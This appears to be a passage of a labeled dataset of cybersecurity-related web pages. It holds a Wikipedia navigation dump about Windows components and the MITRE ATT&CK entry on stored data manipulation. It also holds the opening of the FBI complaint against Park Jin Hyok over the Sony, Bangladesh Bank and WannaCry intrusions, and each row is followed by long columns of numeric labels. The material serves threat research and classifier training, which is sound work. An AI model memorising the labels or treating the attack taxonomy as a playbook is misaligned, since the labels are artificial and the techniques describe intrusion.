DxDiag Event Viewer IExpress Management Console Netsh Performance Monitor Recovery Console Resource Monitor Settings Sysprep System Configuration System File Checker System Information System Policy Editor System Restore Task Manager Windows Error Reporting Windows Ink Windows Installer PowerShell Windows Update Windows Insider WinRE WMI Apps Alarms & Clock Calculator Calendar Camera Character Map Cortana Edge Fax and Scan Feedback Hub File Manager Get Help Groove Music Magnifier Mail Messaging Maps Media Player Movies & TV Mobility Center Money News Narrator Notepad OneDrive OneNote Paint Paint 3D People Phone Companion Photos Quick Assist Snipping Tool Speech Recognition Skype Sports Sticky Notes View 3D Store Tips Voice Recorder Wallet Weather Windows To Go Windows Story Remix WordPad Xbox Console Companion Your Phone Shell Action Center Aero AutoPlay AutoRun ClearType Explorer Search Indexing Service IFilter Saved search Namespace Special folder Start menu Taskbar Task View Windows Spotlight Windows XP visual styles Services Service Control Manager BITS CLFS Multimedia Class Scheduler Shadow Copy Task Scheduler Error Reporting Wireless Zero Configuration File systems CDFS DFS exFAT IFS FAT NTFS Hard link Junction point Mount Point Reparse point Symbolic link TxF EFS ReFS UDF Server Domains Active Directory DNS Group Policy Roaming user profiles Folder redirection Distributed Transaction Coordinator MSMQ Windows Media Services Rights Management Services IIS Remote Desktop Services WSUS SharePoint Network Access Protection PWS DFS Replication Remote Differential Compression Print Services for UNIX Remote Installation Services Windows Deployment Services System Resource Manager Hyper-V Server Core Architecture Architecture of Windows NT Startup process NT Vista CSRSS Desktop Window Manager Portable Executable EXE DLL Enhanced Write Filter Graphics Device Interface hal.dll I/O request packet Imaging Format Kernel Transaction Manager Library files Logical Disk Manager LSASS MinWin NTLDR Ntoskrnl.exe Object Manager Open XML Paper Specification Registry Resource Protection Security Account Manager Server Message Block Shadow Copy SMSS System Idle Process USER WHEA Win32 console Winlogon WinUSB Security Security and Maintenance AppLocker BitLocker Credential Guard Data Execution Prevention Family Safety Kernel Patch Protection Mandatory Integrity Control Protected Media Path User Account Control User Interface Privilege Isolation Windows Defender Windows Firewall Compatibility COMMAND.COM Virtual DOS machine Windows on Windows WoW64 Windows Subsystem for Linux API Active Scripting WSH VBScript JScript COM ActiveX ActiveX Document COM Structured storage DCOM OLE OLE Automation Transaction Server DirectX .NET Framework Universal Windows Platform Windows Mixed Reality Windows Runtime WinUSB Games Solitaire Collection Discontinued Games 3D Pinball Chess Titans FreeCell Hearts InkBall Hold 'Em Purble Place Reversi Spider Solitaire Solitaire Tinker Apps ActiveMovie Anytime Upgrade Address Book Backup and Restore Cardfile CardSpace Contacts Desktop Gadgets Diagnostics DriveSpace DVD Maker Easy Transfer Fax Food & Drink Help and Support Center Health & Fitness HyperTerminal Internet Explorer Journal Media Center Meeting Space Messaging Messenger Mobile Device Center Movie Maker MSN Dial-up NetMeeting NTBackup Outlook Express Travel Photo Gallery Photo Viewer Program Manager Steps Recorder Syskey WinHelp Write Others ScanDisk File Protection Media Control Interface Next-Generation Secure Computing Base POSIX subsystem Interix Video for Windows Windows SideShow Windows Services for UNIX Windows System Assessment Tool WinFS Spun off to Microsoft Store DVD Player Hover! Mahjong Minesweeper Retrieved from ""https://en.wikipedia.org/w/index.php?title=Microsoft_Windows_library_files&oldid=901968064"" Categories: Microsoft application programming interfaces Windows components Windows files Hidden categories: Wikipedia introduction cleanup from February 2013 All pages needing cleanup Articles covered by WikiProject Wikify from February 2013 All articles covered by WikiProject Wikify Articles needing additional references from February 2013 All articles needing additional references Articles with multiple maintenance issues All articles with unsourced statements Articles with unsourced statements from January 2012 All articles with failed verification Articles with failed verification from October 2016 Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page In other projects Wikibooks Print/export Create a book Download as PDF Printable version Languages Espa\xc3\xb1ol \xed\x95\x9c\xea\xb5\xad\xec\x96\xb4 \xe4\xb8\xad\xe6\x96\x87 Edit links This page was last edited on 15 June 2019, at 15:07\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Stored Data Manipulation - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Stored Data Manipulation Stored Data Manipulation Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.[1][2] By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ID:\xc2 T1492 Tactic: Impact Platform:\xc2 Linux, macOS, Windows Permissions Required:\xc2 User, Administrator, root, SYSTEM Data Sources:\xc2 Application logs, File monitoring Impact Type:\xc2 Integrity Version:\xc2 1.0 Mitigations Mitigation Description Encrypt Sensitive Information Consider encrypting important information to reduce an adversaries ability to perform tailored data modifications. Remote Data Storage Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups. [3] Restrict File and Directory Permissions Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Examples Name Description APT38 APT38 has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions. [1] FIN4 FIN4 has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as \xe2\x80\x9chacked,"" ""phish,"" and \xe2\x80\x9cmalware"" in a likely attempt to prevent organizations from communicating about their activities. [4] Detection Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. References FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019. Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Park Compliant AO 91 (Rev. 11/11) Criminal Complaint UNITED STATES DISTRICT COURT for the RLED Central District of California CLERK U.S. DIS RICT United States of America JUN - 8 ?018[ --- .. ~- \xc2\xb7~""....~-~,..,.__v. CENT\\:y'\\ l i\\ :,: ffl1G1 OF CAUFORN! BY . \xc2\xb7-. .... -~-- ____D=E--..... PARK JIN HYOK, also known as (""aka"") Case fl\xc2\xb7J 1 8 - 1 4 79""Jin Hyok Park,"" aka ""Pak Jin Hek,"" Defendant. CRIMINAL COMPLAINT I, the complainant in this case, state that the following is true to the best ofmy knowledge and belief. Beginning no later than September 2, 2014 and continuing through at least August 3, 2017, in the county of Los Angeles in the Central District of California, the defendant violated: Code Section Offense Description 18 U.S.C. \xc2\xa7 371 Conspiracy 18 u.s.c. \xc2\xa7 1349 Conspiracy to Commit Wire Fraud This criminal complaint is based on these facts: Please see attached affidavit. IBJ Continued on the attached sheet. Isl Complainant's signature Nathan P. Shields, Special Agent, FBI Printed name and title Sworn to before ~e and signed in my presence. ROZELLA A OLIVERDate: Judge's signature City and state: Los Angeles, California Hon. Rozella A. Oliver, U.S. Magistrate Judge Printed name and title -:""'~~ ,4G'L--- A-SA AUSAs: Stephanie S. Christensen, x3756; Anthony J. Lewis, x1786; & Anil J. Antony, x6579 REC: Detention Contents I. INTRODUCTION .....................................................................................1 II. PURPOSE OF AFFIDAVIT ......................................................................1 III. SUMMARY................................................................................................3 IV. TERMINOLOGY.......................................................................................7 V. INFRASTRUCTURE ..............................................................................13 A. North Korean Computer Networks .............................................13 B. The \xe2\x80\x9cBrambul\xe2\x80\x9d Worm ...................................................................14 C. Use of a Proxy Service ..................................................................16 D. Dynamic DNS (DDNS) .................................................................17 VI. TARGETING TECHNIQUES USED .....................................................19 A. Reconnaissance.............................................................................19 B. Spear-Phishing .............................................................................20 VII. THE ATTACK ON SPE ..........................................................................23 A. Initiation of Overt Contact and Email Communications ...........24 B. Analysis of Malware and Infected Computers and Technical Details of the Intrusion ................................................................28 C. Theft of SPE\xe2\x80\x99s Data and Distribution by Email and a Social Media Account Created by the Subjects ......................................29 D. The SPE Movie \xe2\x80\x9cThe Interview\xe2\x80\x9d ..................................................30 E. Social Media Accounts Were Used to Post Links to Malware on Other Social Media Accounts Related to \xe2\x80\x9cThe Interview\xe2\x80\x9d..........33 F. \xe2\x80\x9cAndoson David,\xe2\x80\x9d \xe2\x80\x9cWatson Henny\xe2\x80\x9d and Related Accounts .........37 1. \xe2\x80\x9cAndoson David\xe2\x80\x9d ................................................................37 2. \xe2\x80\x9cWatson Henny\xe2\x80\x9d and \xe2\x80\x9cJohn Mogabe\xe2\x80\x9d ................................39 3. \xe2\x80\x9cYardgen\xe2\x80\x9d ...........................................................................42 G. Malware Used in Successful Breach of SPE Network ................45 H. Targeting Movie Theater Chain ..................................................50 I. Intrusion at Mammoth Screen ....................................................52 i VIII. INTRUSIONS AT FINANCIAL INSTITUTIONS .................................53 A. Background Regarding Bangladesh Bank Cyber-Heist .............56 B. Malicious Accounts Used .............................................................59 1. watsonhenny@gmail.com ..................................................59 2. yardgen@gmail.com...........................................................59 3. rsaflam8808@gmail.com ....................................................61 4. rasel.aflam@gmail.com ......................................................61 C. Results of Forensic Analysis ........................................................62 D. Comparison of Malware Used and Other Targeted Banks ........66 1. Families of Malware ..........................................................67 2. Use of NESTEGG ..............................................................70 3. Secure Delete Function: Connections Between Intrusions at Bank Victims and SPE ..................................................72 4. FakeTLS Data Table .........................................................77 5. DNS Function ....................................................................82 6. Intrusion at the African Bank: Connections to Bangladesh Bank ...............................................................85 7. Watering Hole Campaign Targeting Financial Institutions ........................................................................88 IX. TARGETING OF OTHER VICTIMS .....................................................95 A. Initial Discovery of Defense Contractor Targeting .....................95 B. Connections Between Accounts Used to Target Defense Contractors, and with Accounts Used to Target SPE .................97 1. Connection to mrwangchung01@gmail.com ...................100 2. Connection to @erica_333u..............................................101 3. Connection to jongdada02@gmail.com ............................102 C. Targeting of South Korean Entities ..........................................105 X. WANNACRY GLOBAL RANSOMWARE ............................................106 A. WannaCry Ransomware Attacks ...............................................106 ii mailto:jongdada02@gmail.com mailto:mrwangchung01@gmail.com mailto:rasel.aflam@gmail.com mailto:rsaflam8808@gmail.com mailto:yardgen@gmail.com mailto:watsonhenny@gmail.com B. Similarities in the Three Versions of WannaCry ......................111 C. Links Between WannaCry and Other Intrusions Described Above...........................................................................................118 D. Evidence Shows Subjects Were Following Exploit Development...............................................................................125 XI. THE \xe2\x80\x9cKIM HYON WOO\xe2\x80\x9d PERSONA ...................................................126 A. tty198410@gmail.com.................................................................127 B. hyon_u@hotmail.com..................................................................128 C. hyonwoo01@gmail.com ...............................................................129 D. hyonwu@gmail.com ....................................................................131 E. @hyon_u ......................................................................................132 F. Brambul Collector Accounts ......................................................132 XII. PARK JIN HYOK ..................................................................................133 A. PARK\xe2\x80\x99s Work for Chosun Expo, a DPRK Government Front Company .....................................................................................136 1. Chosun Expo ....................................................................136 2. PARK JIN HYOK\xe2\x80\x99s Work in Dalian, China ...................142 B. The Chosun Expo Accounts .......................................................147 1. ttykim1018@gmail.com ...................................................149 2. business2008it@gmail.com ..............................................152 3. surigaemind@hotmail.com ..............................................156 4. pkj0615710@hotmail.com ................................................159 5. mrkimjin123@gmail.com .................................................164 6. Access to Chosun Expo Accounts by North Korean IP Addresses .........................................................................166 7. Summary of Connections Between \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d Persona and Chosun Expo Accounts Connected to PARK................................................................................169 XIII. CONCLUSION......................................................................................171 iii mailto:mrkimjin123@gmail.com mailto:pkj0615710@hotmail.com mailto:surigaemind@hotmail.com mailto:business2008it@gmail.com mailto:ttykim1018@gmail.com mailto:hyonwu@gmail.com mailto:hyonwoo01@gmail.com mailto:hyon_u@hotmail.com mailto:tty198410@gmail.com A F F I D A V I T I, Nathan P. Shields, being duly sworn, declare and state as follows: I. INTRODUCTION 1. I am a Special Agent (\xe2\x80\x9cSA\xe2\x80\x9d) with the Federal Bureau of Investigation (\xe2\x80\x9cFBI\xe2\x80\x9d) and have been so employed since 2011. I am currently assigned to the Los Angeles Field Office, where I conduct investigations related to computer intrusions and national security. During my career as an FBI SA, I have participated in numerous computer crime investigations. In addition, I have received both formal and informal training from the FBI and other institutions regarding computer- related investigations and computer technology. Prior to becoming a Special Agent with the FBI, I was employed for eleven years as a Software Engineer where I worked on software projects at NASA\xe2\x80\x99s Johnson Space Center that supported the International Space Station and Space Shuttle mission simulators. I received a bachelor\xe2\x80\x99s degree in Aerospace Engineering with a minor in Computer Science from Embry-Riddle Aeronautical University. As a federal agent, I am authorized to investigate violations of the laws of the United States and have experience doing so. I am a law enforcement officer with authority to apply for and execute warrants issued under the authority of the United States. II. PURPOSE OF AFFIDAVIT 2. This affidavit is made in support of a criminal complaint against, and arrest warrant for, PARK JIN HYOK, also known as (\xe2\x80\x9caka\xe2\x80\x9d) \xe2\x80\x9cJin Hyok Park,\xe2\x80\x9d aka \xe2\x80\x9cPak Jin Hek\xe2\x80\x9d (\xe2\x80\x9cPARK\xe2\x80\x9d) for: (1) a violation of 18 U.S.C. \xc2\xa7 371 (Conspiracy), for conspiring to commit the following offenses: 18 U.S.C. \xc2\xa7\xc2\xa7 1030(a)(2)(c), 1030(a)(4), (a)(5)(A)-(C) (Unauthorized Access to Computer and Obtaining Information, with Intent to Defraud, and Causing Damage, and Extortion Related to Computer 1 Intrusion); and (2) a violation of 18 U.S.C. \xc2\xa7 1349 (Conspiracy), for conspiring to commit the following offense: 18 U.S.C. \xc2\xa7 1343 (Wire Fraud). 3. The information set forth in this affidavit is based upon: \xef\x82\xb7 my personal observations; \xef\x82\xb7 my training and experience; \xef\x82\xb7 information from various law enforcement personnel and witnesses; \xef\x82\xb7 computer scientists and other experts at the FBI; \xef\x82\xb7 experts at Mandiant, a cybersecurity firm, which was retained by the United States Attorney\xe2\x80\x99s Office; and \xef\x82\xb7 publicly available resources and reports produced by private cyber security companies, and other publicly available materials. 4. The evidence set forth herein was obtained from multiple sources, including from analyzing compromised victim systems, approximately 100 search warrants for approximately 1,000 email and social media accounts accessed internationally by the subjects of the investigation, dozens of orders issued pursuant to 18 U.S.C. \xc2\xa7\xc2\xa7 2703(d) and 3123, and approximately 85 formal requests for evidence to foreign countries and additional requests for evidence and information to foreign investigating agencies. Many of those records were obtained from providers of email, social media, or other online or communication services (\xe2\x80\x9cproviders\xe2\x80\x9d herein). 5. This affidavit is intended to show merely that there is sufficient probable cause for the requested complaint and arrest warrant and does not purport to set forth all of my knowledge of the government\xe2\x80\x99s investigation into this matter. Unless specifically indicated otherwise, all conversations and statements described in this affidavit are related in substance and in part only. Unless specifically indicated otherwise, all dates and times set forth below are on or about the dates and times indicated, and all amounts or sums are approximate. 2 III. SUMMARY 6. The facts set forth in this affidavit describe a wide-ranging, multi-year conspiracy to conduct computer intrusions and commit wire fraud by co-conspirators working on behalf of the government of the Democratic People\xe2\x80\x99s Republic of Korea, commonly known as \xe2\x80\x9cDPRK\xe2\x80\x9d or \xe2\x80\x9cNorth Korea,\xe2\x80\x9d while located there and in China, among other places. The conspiracy targeted computers belonging to entertainment companies, financial institutions, defense contractors, and others for the purpose of causing damage, extracting information, and stealing money, among other reasons. One of the subjects was PARK, a North Korean computer programmer who was one of the co-conspirators (collectively, the \xe2\x80\x9csubjects\xe2\x80\x9d of the investigation). As described in greater detail below, PARK was employed by Chosun Expo Joint Venture, which is also known as \xe2\x80\x9cKorea Expo Joint Venture\xe2\x80\x9d or simply \xe2\x80\x9cChosun Expo\xe2\x80\x9d (as it is referred to herein), a company that is a front for the North Korean government. 7. Among the successful intrusions by the subjects was the cyber-attack in November 2014 directed at Sony Pictures Entertainment (\xe2\x80\x9cSPE\xe2\x80\x9d) and its comedic film \xe2\x80\x9cThe Interview,\xe2\x80\x9d which depicted a fictional Kim Jong-Un, the Chairman of the Workers\xe2\x80\x99 Party of Korea and the \xe2\x80\x9csupreme leader\xe2\x80\x9d of North Korea. The subjects targeted individuals and entities associated with the production of \xe2\x80\x9cThe Interview\xe2\x80\x9d and employees of SPE, sending them malware that the subjects used to gain unauthorized access to SPE\xe2\x80\x99s network. Once inside SPE\xe2\x80\x99s network, the subjects stole movies and other confidential information, and then effectively rendered thousands of computers inoperable. The same group of subjects also targeted individuals associated with the release of \xe2\x80\x9cThe Interview,\xe2\x80\x9d among other victims. 8. These same subjects also targeted and then executed the fraudulent transfer of $81 million from Bangladesh Bank, the central bank of Bangladesh, in February 2016\xe2\x80\x94the largest successful cyber-theft from a financial institution to date\xe2\x80\x94and engaged in computer intrusions and cyber-heists at many more financial 3 services victims in the United States, and in other countries in Europe, Asia, Africa, North America, and South America in 2015, 2016, 2017, and 2018, with attempted losses well over $1 billion. 9. In addition to financial institutions and entertainment companies, the subjects have targeted\xe2\x80\x94and continue to target\xe2\x80\x94other victims and sectors, including U.S. defense contractors, university faculty, technology companies, virtual currency exchanges, and U.S. electric utilities. 10. The same subjects were also responsible for authoring the malware used in the global ransomware cyber-attack named \xe2\x80\x9cWannaCry 2.0,\xe2\x80\x9d which quickly spread to computers around the world, including computers in the Central District of California, in approximately May 2017. 11. In sum, the scope and damage of the computer intrusions perpetrated and caused by the subjects of this investigation, including PARK, is virtually unparalleled. 12. While some of these computer intrusions or attempted intrusions occurred months or years apart, and affected a wide range of individuals and businesses, they share certain connections and signatures, showing that they were perpetrated by the same group of individuals (the subjects). For instance, many of the intrusions were carried out using the same computers or digital devices, using the very same accounts or overlapping sets of email or social media accounts, using the same aliases, and using the same cyber infrastructure, including the same IP addresses and proxy services. 13. Technical similarities also connect the malware used against SPE, Bangladesh Bank and other financial institutions, and defense contractors (among other actual and intended victims), and the WannaCry ransomware. Those technical similarities include common elements or functionality of the malware that was used, common encryption keys used to decrypt resources associated with the 4 malware, and domains programmed into the malware that were under the common control of a single computer or group of computers. These and other connections discussed below show that the subjects comprise members of the \xe2\x80\x9cLazarus Group,\xe2\x80\x9d the name that private security researchers (including Symantec, Novetta, and BAE) have given to the set of hackers who perpetrated the attacks on SPE, Bangladesh Bank, and other entities. 14. PARK, a member of the conspiracy behind these cyber-attacks and computer intrusions, was educated at a North Korean university, had proficiency in multiple programming languages, and had experience in developing software and in network security for different operating systems. He was a programmer employed by the government of North Korea, and worked for Chosun Expo, a North Korean government front company affiliated with one of the North Korean government\xe2\x80\x99s hacking organizations, sometimes known as \xe2\x80\x9cLab 110,\xe2\x80\x9d starting in at least 2002. Some programmers employed by Chosun Expo stationed abroad\xe2\x80\x94including PARK\xe2\x80\x94did some work for paying clients on non-malicious programming projects. In particular, PARK worked among a team of North Korean programmers employed by Chosun Expo in Dalian, China, who did programming and information technology projects for paying clients around the world, some of whom knew they were employing North Korean programmers. Although PARK worked in China for at least some time between 2011 and 2013, he appears to have returned to North Korea by 2014, before the cyber-attack on SPE. 15. PARK used multiple email accounts in the timeframe that he was in China (collectively, the \xe2\x80\x9cChosun Expo Accounts\xe2\x80\x9d), and communications in some of those accounts made explicit reference to Chosun Expo and the work done on behalf of Chosun Expo. PARK used those Chosun Expo Accounts in his true name, and while it does not appear that PARK was necessarily the exclusive user of those accounts, PARK used his name to sign correspondence, in subscriber records, and to 5 create other social media accounts in his name using the Chosun Expo Accounts. Despite efforts to conceal his identity and the subjects\xe2\x80\x99 efforts to isolate the Chosun Expo Accounts from operational accounts that they used with aliases to carry on their hacking operations, there are numerous connections between these sets of accounts. Some of the operational accounts were used in the name \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d (or variations of that name), an alias that the subjects used in connection with the targeting of and cyber-attacks on SPE, Bangladesh Bank, and other victims. Although the name \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d was used repeatedly in various email and social media accounts, evidence discovered in the investigation shows that it was likely an alias or \xe2\x80\x9ccover\xe2\x80\x9d name used to add a layer of concealment to the subjects\xe2\x80\x99 activities. 16. While some of the work referenced in Chosun Expo Account messages involved non-malicious programming-for-hire, operational accounts connected to those Chosun Expo Accounts were used for researching hacking techniques, reconnaissance of victims, and ultimately sending spear-phishing messages to victims. For example, one of the Chosun Expo Accounts tied to PARK, ttykim1018@gmail.com, was connected in a number of ways to the similarly-named email account\xe2\x80\x94tty198410@gmail.com\xe2\x80\x94which was one used in the persona \xe2\x80\x9cKim Hyon Woo.\xe2\x80\x9d That email account, in turn, was used to subscribe or was accessed by the same computer as at least three other email or social media accounts that were each used to target multiple victims, including SPE and Bangladesh Bank. 17. These connections, among others, establish that PARK was a member of the conspiracy: he worked for Chosun Expo and used multiple Chosun Expo Accounts, which accounts in turn were tied to the accounts directly used for carrying out multiple computer intrusions. (See Chart 1 attached hereto and discussed below in paragraph 265.) 6 mailto:ttykim1018@gmail.com IV. TERMINOLOGY 18. This Part discusses and explains some of the terms that are used throughout this affidavit. The explanations herein are based upon my training and experience, as well as information from other FBI agents and a computer scientist. 19. Backdoor: A \xe2\x80\x9cbackdoor\xe2\x80\x9d is a type of malware that allows a hacker to maintain access to a compromised computer after a computer is first compromised. A backdoor can operate in a number of ways, but its basic function is to allow a hacker a way to re-gain access to a compromised computer in the event that the access is disrupted, such as if the hacker is detected, if other malware associated with the intrusion is deleted, or if the connection is interrupted. 20. Code: \xe2\x80\x9cBinary code,\xe2\x80\x9d which is also known as \xe2\x80\x9cmachine code,\xe2\x80\x9d \xe2\x80\x9ccompiled code,\xe2\x80\x9d or \xe2\x80\x9cexecutable code,\xe2\x80\x9d is a set of specially formatted instructions that direct a computer\xe2\x80\x99s processor to manipulate and store data. A computer \xe2\x80\x9cprogram,\xe2\x80\x9d \xe2\x80\x9csoftware,\xe2\x80\x9d or \xe2\x80\x9cexecutable file\xe2\x80\x9d are all various ways to refer to a complete body of binary code that has a defined set of functionality. Binary code appears as unintelligible, cryptic strings of numbers that cannot reasonably be comprehended\xe2\x80\x94let alone written\xe2\x80\x94by a human when editing or creating software. As such, programming 